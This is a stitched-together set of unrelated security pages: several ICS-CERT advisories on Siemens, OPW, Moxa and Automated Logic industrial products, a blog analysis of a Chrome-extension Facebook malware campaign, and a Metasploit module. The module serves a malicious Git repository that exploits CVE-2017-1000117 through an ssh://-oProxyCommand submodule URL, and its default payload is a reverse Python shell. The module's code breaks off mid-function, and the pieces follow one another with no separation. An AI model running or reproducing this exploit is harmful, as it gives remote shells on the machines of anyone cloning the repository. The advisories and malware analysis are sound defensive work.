Siemens industrial products using the Discovery Service of the OPC UA protocol stack by the OPC foundation

CVSS v3 8.2

ATTENTION: Remotely exploitable/low skill level to exploit.

Vendor: Siemens

Equipment: Industrial products using the Discovery Service of the OPC UA protocol stack by the OPC foundation

Vulnerability: Improper Restriction of XML External Entity Reference

AFFECTED PRODUCTS

Siemens reports that the vulnerability affects the following industrial products, which use the Discovery Service of the OPC UA protocol stack by the OPC foundation:

  • SIMATIC PCS 7
    • V7.1 and earlier versions
    • V8.0: All versions
    • V8.1: All versions
  • SIMATIC WinCC:
    • V7.0: All versions
    • V7.2: All versions
    • V7.3: All versions
    • V7.4: All versions prior to V7.4 SP1
  • SIMATIC WinCC Runtime Professional:
    • V13: All versions
    • V14: All versions prior to V14 SP1
  • SIMATIC NET PC Software: All versions
  • SIMATIC IT Production Suite: All versions.

IMPACT

Successful exploitation of this vulnerability may allow an attacker to access various resources.

MITIGATION

Siemens provides fixes for the following products and recommends users upgrade to the newest version:

  • SIMATIC PCS 7:
    • All versions prior to V9.0: Follow FAQ:

https://support.industry.siemens.com/cs/ww/en/view/109749461

  • SIMATIC WinCC:
    • V7.4: Update to V7.4 SP1

https://support.industry.siemens.com/cs/ww/en/view/109746038

  • All other versions: Follow FAQ to turn off the service after commissioning:

https://support.industry.siemens.com/cs/ww/en/view/109749461

  • SIMATIC WinCC Runtime Professional:
    • Update to V14 SP1

https://support.industry.siemens.com/cs/ww/en/view/109746276

  • All other versions: Follow FAQ to turn off the service after commissioning:

https://support.industry.siemens.com/cs/ww/en/view/109749461

  • SIMATIC NET PC Software:
    • Follow FAQ to turn off the service after commissioning:

https://support.industry.siemens.com/cs/ww/en/view/109749461

Siemens is preparing further updates and recommends the following mitigations in the meantime:

  • Turn off the Discovery Service or block it on the local firewall,
  • Apply cell protection concept,
  • Use VPN for protecting network communication between cells, and
  • Apply Defense in Depth.

Siemens recommends users protect network access with appropriate mechanisms such as firewalls, segmentation, and VPNs. Siemens also advises that users configure the operational environment according to Siemens’ Operational Guidelines for Industrial Security:

https://www.siemens.com/cert/operational-guidelines-industrial-security

For more information on this vulnerability and more detailed mitigation instructions, please see Siemens Security Advisory SSA-535640 at the following location:

http://www.siemens.com/cert/advisories

The OPC Foundation also published a security bulletin for this vulnerability:

https://opcfoundation-onlineapplications.org/faq/SecurityBulletins/OPC_Foundation_Security_Bulletin_CVE-2017-12069.pdf

NCCIC/ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:

  • Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.
  • Locate control system networks and remote devices behind firewalls, and isolate them from the business network.
  • When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

ICS-CERT also provides a section for control systems security recommended practices on the ICS-CERT web page. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Additional mitigation guidance and recommended practices are publicly available in the ICS‑CERT Technical Information Paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies, that is available for download from the ICS-CERT web site.

Organizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

No known public exploits specifically target this vulnerability.

VULNERABILITY OVERVIEW

By sending specially crafted packets to the OPC Discovery Server at Port 4840/TCP, an attacker might cause the system to access various resources chosen by the attacker.

CVE-2017-12069 has been assigned to this vulnerability. A CVSS v3 base score of 8.2 has been assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H).

RESEARCHER

Sergey Temnikov of Kaspersky Lab reported this vulnerability to Siemens.

BACKGROUND

Critical Infrastructure Sectors: Chemical, Energy, Food and Agriculture, Water and Wastewater Systems

Countries/Areas Deployed: Worldwide

Company Headquarters Location: Germany

Siemens LOGO!

CVSS v3 7.5

ATTENTION: Remotely exploitable/low skill level to exploit.

Vendor: Siemens

Equipment: LOGO!

Vulnerabilities: Insufficiently Protected Credentials, Man-in-the-Middle

AFFECTED PRODUCTS

Siemens reports that the vulnerabilities affect the following LOGO! devices:

  • LOGO!8 BM: All versions.

IMPACT

Successful exploitation of these vulnerabilities could allow an attacker to hijack existing web sessions.

MITIGATION

Siemens provides LOGO!8 BM FS-05 with firmware Version V1.81.2, which fixes the first vulnerability.

Siemens recommends applying the following mitigations for users with existing installations, and for mitigation of the second vulnerability:

  • Configure the environment according to the recommendations in the user manual:

https://support.industry.siemens.com/cs/us/en/view/109741041

  • Apply cell protection concept
  • Use VPN for protecting network communication between cells
  • Apply Defense-in-Depth:

https://www.industry.siemens.com/topics/global/en/industrial-security/Pages/default.aspx

As a general security measure, Siemens strongly recommends protecting network access to the devices with appropriate mechanisms. Siemens advises configuring the environment according to Siemens operational guidelines in order to run the devices in a protected IT environment.

https://www.siemens.com/cert/operational-guidelines-industrial-security

For more information on these vulnerabilities and more detailed mitigation instructions, please see Siemens Security Advisory SSA-087240 at the following location:

http://www.siemens.com/cert/en/cert-security-advisories.htm

NCCIC/ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of these vulnerabilities. Specifically, users should:

  • Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.
  • Locate control system networks and remote devices behind firewalls, and isolate them from the business network.
  • When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

ICS-CERT also provides a section for control systems security recommended practices on the ICS-CERT web page. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Additional mitigation guidance and recommended practices are publicly available in the ICS‑CERT Technical Information Paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies, that is available for download from the ICS-CERT web site.

Organizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

No known public exploits specifically target these vulnerabilities.

VULNERABILITY OVERVIEW

An attacker with network access to the integrated web server on Port 80/TCP could obtain the session ID of an active user session. A user must be logged in to the web interface. Siemens recommends that users use the integrated webserver on Port 80/TCP only in trusted networks.

CVE-2017-12734 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

An attacker who performs a Man-in-the-Middle attack between the LOGO! and other devices could potentially decrypt and modify network traffic.

CVE-2017-12735 has been assigned to this vulnerability. A CVSS v3 base score of 7.4 has been calculated; the CVSS vector string is (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

RESEARCHER

Maxim Rupp discovered one of these two vulnerabilities.

BACKGROUND

Critical Infrastructure Sectors: Commercial Facilities, Transportation Systems

Countries/Areas Deployed: Worldwide

Company Headquarters Location: Germany

Siemens 7KM PAC Switched Ethernet

CVSS v3 4.3

ATTENTION: Low skill level to exploit.

Vendor: Siemens

Equipment: 7KM PAC Switched Ethernet

Vulnerability: Resource Exhaustion

AFFECTED PRODUCTS

Siemens reports that the vulnerability affects the following 7KM PAC Switched Ethernet PROFINET expansion modules:

  • 7KM PAC Switched Ethernet PROFINET expansion module: All versions prior to V2.1.3

IMPACT

Successful exploitation of this vulnerability could cause a denial-of-service condition in the affected component that may require a manual restart of the main device to recover.

MITIGATION

Siemens provides firmware Version V2.1.3 [1] for 7KM PAC Switched Ethernet PROFINET expansion modules, which fixes the vulnerability, and recommends users to update to the new fixed version. The new firmware update can be found at the following location:

https://support.industry.siemens.com/cs/ww/en/view/109749555

Siemens recommends users protect network access with appropriate mechanisms such as firewalls, segmentation, and VPNs. Siemens also advises that users configure the operational environment according to Siemens’ Operational Guidelines for Industrial Security:

https://www.siemens.com/cert/operational-guidelines-industrial-security

For more information on this vulnerability and more detailed mitigation instructions, please see Siemens Security Advisory SSA-771218 at the following location:

http://www.siemens.com/cert/advisories

NCCIC/ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:

  • Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.
  • Locate control system networks and remote devices behind firewalls, and isolate them from the business network.
  • When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

ICS-CERT also provides a section for control systems security recommended practices on the ICS-CERT web page. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Additional mitigation guidance and recommended practices are publicly available in the ICS‑CERT Technical Information Paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies, that is available for download from the ICS-CERT web site.

Organizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

No known public exploits specifically target this vulnerability. This vulnerability is not remotely exploitable.

VULNERABILITY OVERVIEW

A denial-of-service condition could be induced by a specially crafted PROFINET DCP packet sent as a local Ethernet (Layer 2) broadcast. The affected component requires a manual restart via the main device to recover.

CVE-2017-9945 has been assigned to this vulnerability. A CVSS v3 base score of 4.3 has been calculated; the CVSS vector string is (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

RESEARCHER

Siemens reported this vulnerability and released an advisory with firmware update information.

BACKGROUND

Critical Infrastructure Sectors: Energy

Countries/Areas Deployed: Worldwide

Company Headquarters Location: Germany

OPW Fuel Management Systems SiteSentinel Integra and SiteSentinel iSite

CVSS v3 9.8

ATTENTION: Remotely exploitable/low skill level to exploit.

Vendor: OPW Fuel Management Systems

Equipment: SiteSentinel Integra and SiteSentinel iSite

Vulnerabilities: Missing Authentication for Critical Function, SQL Injection

AFFECTED PRODUCTS

OPW Fuel Management Systems (OPW) reports that the vulnerabilities affect SiteSentinel Integra 100, SiteSentinel Integra 500, and SiteSentinel iSite ATG consoles with the following software versions:

  • Older than V175,
  • V175-V189,
  • V191-V195, and
  • V16Q3.1

IMPACT

Successful exploitation of these vulnerabilities could allow an unauthorized user to create an account on the device or access the device’s database.

MITIGATION

OPW considers this a critical issue that needs to be addressed immediately. They have issued “Service Bulletin 462” and a letter to users to inform them of the availability of free upgrades (firmware Version 17Q2.1) to mitigate these vulnerabilities.

OPW recommends that users upgrade all affected systems even if they are already protected from exploitation by running off-line or located on a protected network.

OPW has released instructions telling users how to update to the newest firmware version. For specific step-by-step instructions on how to save settings, backup database, and install the new firmware, see the upgrade procedure (M00-20-4438) at the following location:

http://www.opwglobal.com/docs/libraries/manuals/electronic-systems/opw-fms-manuals/m00-20-4438-integra-software-upgrade.pdf?sfvrsn=14

More information can also be found in the configuration guide:

http://www.opwglobal.com/opw-fms/tech-support/manuals-how-to-videos/technical-manuals

For additional assistance, users and distributors may call the technical service line at 877-OPW-TECH (877-679-8324). OPW has also dedicated an additional phone number specifically for addressing this issue: 312-244-0632. Users may also email [email protected] or contact their commercial district manager.

NCCIC/ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of these vulnerabilities. Specifically, users should:

  • Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.
  • Locate control system networks and remote devices behind firewalls, and isolate them from the business network.
  • When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

ICS-CERT also provides a section for control systems security recommended practices on the ICS-CERT web page. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Additional mitigation guidance and recommended practices are publicly available in the ICS‑CERT Technical Information Paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies, that is available for download from the ICS-CERT web site.

Organizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

No known public exploits specifically target these vulnerabilities.

VULNERABILITY OVERVIEW

An attacker may create an application user account to gain administrative privileges.

CVE-2017-12733 has been assigned to this vulnerability. A CVSS v3 base score of 9.8 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

The application is vulnerable to injection of malicious SQL queries via the input from the client.

CVE-2017-12731 has been assigned to this vulnerability. A CVSS v3 base score of 8.2 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

RESEARCHER

Semen Rozhkov of Kaspersky Lab discovered these vulnerabilities. OPW hired a third party testing firm to validate that the firmware upgrade resolved the security issues.

BACKGROUND

Critical Infrastructure Sectors: Energy, Transportation Systems

Countries/Areas Deployed: Worldwide

Company Headquarters Location: United States

Moxa SoftCMS Live Viewer

CVSS v3 9.8

AFFECTED PRODUCTS

The following versions of SoftCMS Live Viewer, a video surveillance software designed for industrial automation systems, are affected:

  • SoftCMS Live Viewer, Version 1.6 and prior versions.

IMPACT

Successful exploitation of this vulnerability could allow an unauthenticated user to access SoftCMS Live Viewer without knowing the user’s password.

MITIGATION

Moxa has provided software update Version 1.7 for SoftCMS Live Viewer which fixes this vulnerability. Moxa recommends users update to the new version, which is available at the following location:

https://www.moxa.com/support/download.aspx?type=support&id=11362

NCCIC/ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:

  • Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.
  • Locate control system networks and remote devices behind firewalls, and isolate them from the business network.
  • When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

ICS-CERT also provides a section for control systems security recommended practices on the ICS-CERT web page. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Additional mitigation guidance and recommended practices are publicly available in the ICS‑CERT Technical Information Paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies, that is available for download from the ICS-CERT web site.

Organizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

No known public exploits specifically target this vulnerability.

VULNERABILITY OVERVIEW

An improper neutralization of special elements used in an SQL command (‘SQL Injection’) vulnerability has been identified. Attackers can exploit this vulnerability to access SoftCMS without knowing the user’s password.

CVE-2017-50137 has been assigned to this vulnerability. A CVSS v3 base score of 9.8 has been assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

RESEARCHER

Security researcher Ziqiang Gu from Huawei WeiRan Labs identified this vulnerability.

BACKGROUND

Critical Infrastructure Sectors: Critical Manufacturing, Energy, Transportation Systems.

Countries/Areas Deployed: Worldwide

Company Headquarters Location: Taiwan

Automated Logic Corporation ALC WebCTRL, Liebert SiteScan, Carrier i-VU

CVSS v3 6.5

ATTENTION: Remotely exploitable/low skill level to exploit.

Vendor: Automated Logic Corporation (ALC)

Equipment: ALC WebCTRL, Liebert SiteScan, Carrier i-VU

Vulnerability: XML External Entity (XXE)

REPOSTED INFORMATION

This advisory was originally posted to the NCCIC Portal on May 30, 2017, and is being released to the NCCIC/ICS-CERT web site.

AFFECTED PRODUCTS

The following ALC web-based building automation applications are affected:

  • Liebert SiteScan Web Version 6.5, and prior;
  • ALC WebCTRL Version 6.5, and prior; and
  • Carrier i-Vu Version 6.5, and prior.

IMPACT

The vulnerability, if exploited, could lead to the disclosure of confidential data, denial of service (DoS), spoofing of a request from an upstream device, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Impact to individual organizations depends on many factors that are unique to each organization, including but not limited to whether the application was installed and is maintained in accordance with manufacturer’s recommendations. Risk of impact is significantly lower for those systems installed and maintained as set forth in ALC’s system installation and maintenance guidelines.

MITIGATION

ALC applications should always be installed and maintained in accordance with the guidelines found here:

http://www.automatedlogic.com/Pages/Security.aspx.

In addition, ALC has released the following patches:

  • WebCTRL 6.0, Cumulative Patch #11;
  • WebCTRL 6.1, Cumulative Patch #4; and
  • WebCTRL 6.5, Cumulative Patch #5.

These patch releases may be obtained on the Automated Logic accounts web site or calling Technical Support at 770-429-3002:

  • i-Vu 6.0, Cumulative Patch #11; and
  • i-Vu 6.5, Cumulative Patch #5.

These patch releases may be obtained by calling Technical Support at 800-277-9852:

ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:

  • Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.
  • Locate control system networks and remote devices behind firewalls, and isolate them from the business network.
  • When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

ICS-CERT also provides a section for control systems security recommended practices on the ICS-CERT web page. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Additional mitigation guidance and recommended practices are publicly available in the ICS‑CERT Technical Information Paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies, that is available for download from the ICS-CERT web site.

Organizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

No known public exploits specifically target this vulnerability.

VULNERABILITY OVERVIEW

An attacker could enter malicious input to WebCTRL, i-Vu, or SiteScan Web through a weakly configured XML parser causing the application to execute arbitrary code or disclose file contents from a server or connected network.

CVE-2016-5795 has been assigned to this vulnerability. A CVSS v3 base score of 6.5 has been assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L).

RESEARCHER

Evgeny Ermakov from Kaspersky Lab has identified the vulnerability.

BACKGROUND

Critical Infrastructure Sector: Commercial Facilities

Countries/Areas Deployed: Worldwide

Company Headquarters Location: Kennesaw, Georgia

Dissecting the Chrome Extension Facebook malware

It’s been a few days since Kaspersky Lab’s blog post about the Multi Platform Facebook malware that was spread through Facebook Messenger. At the same time as Kaspersky Lab were analyzing this threat, a few researchers where doing the same, including Frans Rosén, Security Advisor at Detectify.

After Frans saw David’s tweet about the blog post, he called David and asked why they were both doing the same job. Frans had a good point, so they started to compare notes and found out that Frans had actually analyzed some of the parts that David hadn’t. They decided to jointly write this second part of the analysis, which is going to describe the attack in detail.

Spreading mechanism

Frans spent quite some time analyzing the JavaScript and trying to figure out how the malware was spreading, which might seem like a simple task but it wasn’t. There were multiple steps involved trying to figure out what the Javascript payloads did. Also, since the script dynamically decided when to launch the attack, it had to be monitored when the attackers triggered it.

The conclusions can be broken down into a few steps, because it’s not only about spreading a link, the malware also notifies the attackers about each infection to collect statistics, and enumerates browsers. We tried summarizing the steps as simply as possible below:

style=”margin-bottom:0!important”>

  1. The victim receives a link on Facebook Messenger from a friend.
  2. The link goes to Google Docs with an image that looks like a fake video player with the friend’s profile picture.
  3. Clicking on that link using Chrome will send you to a fake YouTube page that asks you to install a Chrome Extension directly on the page.
  4. Installing that Chrome Extension will then spread malicious links to the victim’s online friends, combined with the victim’s profile picture.

There are some interesting things in all these steps, so we will take a closer look below.

Technical details

Facebook message

The message itself will consist of the first name of the user that gets the message, the word “Video” and one of these emojis selected at random:

together with a link created with a URL shortener.

Google Docs shared PDF preview

Clicking on the link will redirect the user to a URL on docs.google.com. This link is made by using the preview link of a shared PDF, most likely because it is the quickest way to get a large controlled content area on a legit Google domain with an external link.

The PDF itself is created using PHP with TCPDF 6.2.13 and then uploaded to Google Docs using Google Cloud Services. Clicking the will send us to a page containing details about the PDF file being previewed.

The share settings are an interesting detail about the link created:

“Anyone can edit”. This configuration means that anyone who has the link can actually edit it. Looking at how these links spread, the attack reuses the same link for all the victim’s friends. One friend changing the access rights of the link could potentially prevent the attack from spreading to the victim’s other friends.

Another interesting detail is the user who created the file. Collecting a bunch of examples, we can see some patterns:

These were four links created for different victims, but three of them share the same IAM username (ID-34234) even though they were created using different Google Cloud Projects.

At the time of the attack, none of the URLs being linked from the PDF preview were blacklisted by Google.

Redirect party

After the Google Docs link is clicked, the user will go through a bunch of redirects, most likely fingerprinting the browser. Below, we will focus on Chrome as it is clear it was one of the targeted browsers for the spreading mechanism.

For the other browsers, ads were shown and adware was downloaded, read more about this under Landing Pages below.

Fake YouTube page with Chrome Extension installation

When using Chrome, you are redirected to a fake YouTube page. We noticed several different domains being used during the attack.

This page will also ask you to install a Chrome Extension. Since you can install a Chrome Extension directly on the page, the only action the victim had to perform was to click “Add extension”. No other interaction after that point was needed from the victim for the attack to spread further.

Chrome Extension

Several different Chrome Extensions were used. All of the extensions were newly created and the code was stolen from legit extensions with similar names. The differences in the extensions’ Javascript code were the background.js and a modification in the manifest.json.

The manifest was changed to allow control over tabs and all URLs, and also to enable support for the background script:

The background script was obfuscated differently in all the Chrome Extensions we found, but the basic concept looked like this:

Obfuscated background script

This script was interesting in many ways.

First, the background script would fetch an external URL only if the extension was installed from the Chrome Webstore; a version installed locally using an unpacked extension would not trigger the attack.

The URL being fetched would contain a reference to another script. This script would be sent into a Javascript blob using URL.createObjectURL and then executed in the background script.

This new script from the blob would also be obfuscated. It looked like this:

What happens here is the following:

style=”margin-bottom:0!important”>

  1. Add a listener to all tabs when the tab has loaded successfully.
  2. When the tab is loaded, make a new request to another URL. If the response contains anything, it will send it to the tab that triggered it using executeScript. This will run the Javascript in the context of the tab making the request, basically injecting an XSS that will trigger directly.

Getting all the scripts

When doing the research trying to identify the file that was being injected, I noticed that the attackers’ command and control server did not always return any code. My guess is that they were able to trigger when the attack should spread or not either manually or by specify when the attack should start.

To avoid sitting and waiting for a request to hit, I built my own pseudo extension doing the same thing as they did, but instead of triggering the code, I saved it locally.

Browsing around for a while, I noticed I got a bunch of hits. Their endpoint was suddenly returning back code:

The code returned was not obfuscated in any way, and had a simple flow of what it should do. It was fully targeted towards Facebook.

The script did the following:

  • Check that the domain it ran on contained facebook.com
  • Extract the CSRF token for a requests on Facebook, called fb_dtsg. Check if it had already fetched the access token (being used to make authenticated calls to the Facebook API). If not, it would make a request which is commonly made on Android to get the access token using the CSRF token.
  • Send the access token + profile ID to an external site owned by the attackers.
  • Make sure that the platform functionality is enabled (disabling the platform kill-switch):
  • Create a legacy access token. It turns out that Facebook has deprecated their FQL API, which is an old way of talking with the Facebook API:But the attackers found out that if you made an access token using the app called “Pages Manager for iOS”, the FQL API would still be enabled.

Now, let’s move on to the most interesting parts of what the script did.

Analytics for the attackers, liking a Facebook page

The script would like a page on Facebook that was hardcoded in the script. This was most likely used by the attackers to count the amount of infected users by keeping an eye on the amount of likes on this page.

Watching the page used during one phase of the attack, the amount increased fast, from 8,900 at one point:

and up to 32,000 just a few hours later:

It was also clear that they had control over when it should trigger or not using the script fetcher from the Command and Control, since the amount of likes increased at extremely varying speeds during the attack.

They also changed pages during the attack, most likely because they were closed down by Facebook.

Fetching your friends

Since the attackers now had an FQL-enabled access token, they could use the deprecated API to fetch the victim’s friends sorted by date of their online presence, getting the friends that were online at the time.

They randomized these friends picking 50 of them each time the attack would run only if the friends were marked as idle or online.

A link was then generated by a third domain, which only received the profile ID of the user. This site most likely created the PDF on Google Docs with the profile picture of the current victim and passed the public link back through a URL shortener.

After the link was fetched, a message was created randomly for each friend, but the link was reused among them.

Interesting details

Some parts of the injected code were never used, or were leftovers from previous attacks.

One part was the localization function to send messages in the proper locale of each friend. This was replaced by the random emoji in the live attack:

login.php

Some files on the domains used had some easy to guess PHP files still on the server such as login.php. That one exposed a login script to Facebook together with a hardcoded email address:

Versioning

We noticed multiple versions of the injected Facebook script being used. At the end of the attack, the script only liked the Facebook page and did not spread at all. Also, the domain being used to gather access tokens was removed from the script.

Landing pages

As already mentioned, the script also enumerates which browser you are using. The Chrome extension part is only valid for victims using Google Chrome. If you are using a different browser, the code will execute other commands.

What makes this interesting is that they have added support for most of the operating systems; we were not able to collect any samples targeting the Linux operating system.

All of the samples that we collected where identified as Adware, and before the victim landed on the final landing page, they were redirected through several tracking domains displaying spam/ads. This is an indication that the people behind this scam were trying to earn money from clicks and distributing spam and ads.

Safari

  • MD5 (AdobeFlashPlayerInstaller.dmg) = d8bf71b7b524077d2469d9a2524d6d79
  • MD5 (FlashPlayer.dmg) = cfc58f532b16395e873840b03f173733
  • MD5 (MPlay.dmg) = 05163f148a01eb28f252de9ce1bd6978

These are all fake Adobe Flash updates, but the victim ends up at different websites every time, it seems that they are rotating a set of domains for this.

Mozilla Firefox

  • MD5 (VideoPlayerSetup_2368681540.exe) = 93df484b00f1a81aeb9ccfdcf2dce481
  • MD5 (VideoPlayerSetup_3106177604.exe) = de4f41ede202f85c370476b731fb36eb

“I was infected by this, what do I do?”

The Google Chrome Security Team has disabled all the malicious extensions, but when the attackers infected your Facebook profile they also stole an access-token from your Facebook account.

With this access-token the attackers will be able to gain access to your profile again, even if you have for example: Changed your password, signed out from Facebook or turned off the platform settings in Facebook:

We are currently discussing this with Facebook but at the moment it seems like there is no simple way for a victim to revoke the token the attackers stole.

It’s highly recommended that you update your Anti Virus solution because the malicious domains and scripts have been blocked.

Summary

The attack relied heavily on realistic social interactions, dynamic user content and legit domains as middle steps. The core infection point of the spreading mechanism above was the installation of a Chrome Extension. Be careful when you allow extensions to control your browser interactions and also make sure you know exactly what extensions you are running in your browser. In Chrome, you can write chrome://extensions/ in your URL field to get a list of your enabled extensions.

We would like to give out special thanks to the following people who helped us shut down the attack as much as possible:

  • Marc at CloudFlare
  • Trevor Pottinger at Facebook
  • April Eubank at Facebook
  • Rodrigo Paim at Facebook
  • Adam Rudderman and Jack Whitton of the Facebook Security team
  • Nav Jagpal at Google

Without your help this campaign would have been much more widespread. Thank you for your time and support! Also thanks to @edoverflow for poking at the obfuscated code at the same time as us.

Malicious GIT HTTP Server

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Malicious Git HTTP Server For CVE-2017-1000117’,
‘Description’ => %q(
This module exploits CVE-2017-1000117, which affects Git
version 2.7.5 and lower. A submodule of the form ‘ssh://’ can be passed
parameters from the username incorrectly. This can be used to inject
commands to the operating system when the submodule is cloned.

This module creates a fake git repository which contains a submodule
containing the vulnerability. The vulnerability is triggered when the
submodules are initialised.
),
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘CVE’, ‘2017-1000117’],
[‘URL’, ‘http://seclists.org/oss-sec/2017/q3/280’ ]
],
‘DisclosureDate’ => ‘Aug 10 2017’,
‘Targets’ =>
[
[
‘Automatic’,
{
‘Platform’ => [ ‘unix’ ],
‘Arch’ => ARCH_CMD,
‘Payload’ =>
{
‘Compat’ =>
{
‘PayloadType’ => ‘python’
}
}
}
]
],
‘DefaultOptions’ =>
{
‘Payload’ => ‘cmd/unix/reverse_python’
},
‘DefaultTarget’ => 0
)
)

register_options(
[
OptString.new(‘GIT_URI’, [false, ‘The URI to use as the malicious Git instance (empty for random)’, ”]),
OptString.new(‘GIT_SUBMODULE’, [false, ‘The path to use as the malicious git submodule (empty for random)’, ”])
]
)
end

def setup
@repo_data = {
git: { files: {} }
}
setup_git
super
end

def setup_git
# URI must start with a /
unless git_uri && git_uri =~ /^\//
fail_with(Failure::BadConfig, ‘GIT_URI must start with a /’)
end

payload_cmd = payload.encoded + ” &”
payload_cmd = Rex::Text.to_hex(payload_cmd, ‘%’)

submodule_path = datastore[‘GIT_SUBMODULE’]
if submodule_path.blank?
submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase
end

gitmodules = “[submodule \”#{submodule_path}\”]
path = #{submodule_path}
url = ssh://-oProxyCommand=#{payload_cmd}/

sha1, content = build_object(‘blob’, gitmodules)
@repo_data[:git][:files][“/objects/#{get_path(sha1)}”] = content

tree = “100644 .gitmodules\0#{[sha1].pack(‘H*’)}”
tree += “160000 #{submodule_path}\0#{[sha1].pack(‘H*’)}”
sha1, content = build_object(‘tree’, tree)
@repo_data[:git][:files][“/objects/#{get_path(sha1)}”] = content

## build the supposed commit that dropped this file, which has a random user/company
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = “#{first.capitalize} #{last.capitalize}”
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = “author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n” \
“committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n” \
“\n” \
“Initial commit to open git repository for #{company}!\n”

sha1, content = build_object(‘commit’, “tree #{sha1}\n#{commit}”)
@repo_data[:git][:files][“/objects/#{get_path(sha1)}”] = content
@repo_data[:git][:files][‘/HEAD’] = “ref: refs/heads/master\n”
@repo_data[:git][:files][‘/info/refs’] = “#{sha1}\trefs/heads/master\n”
end

# Build’s a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = “#{type} #{content.size}\0”
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end

# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0…2] + ‘/’ + sha1[2..40]
end

def exploit
super
end

def primer
# add the git and mercurial URIs as necessary
hardcoded_uripath(git_uri)
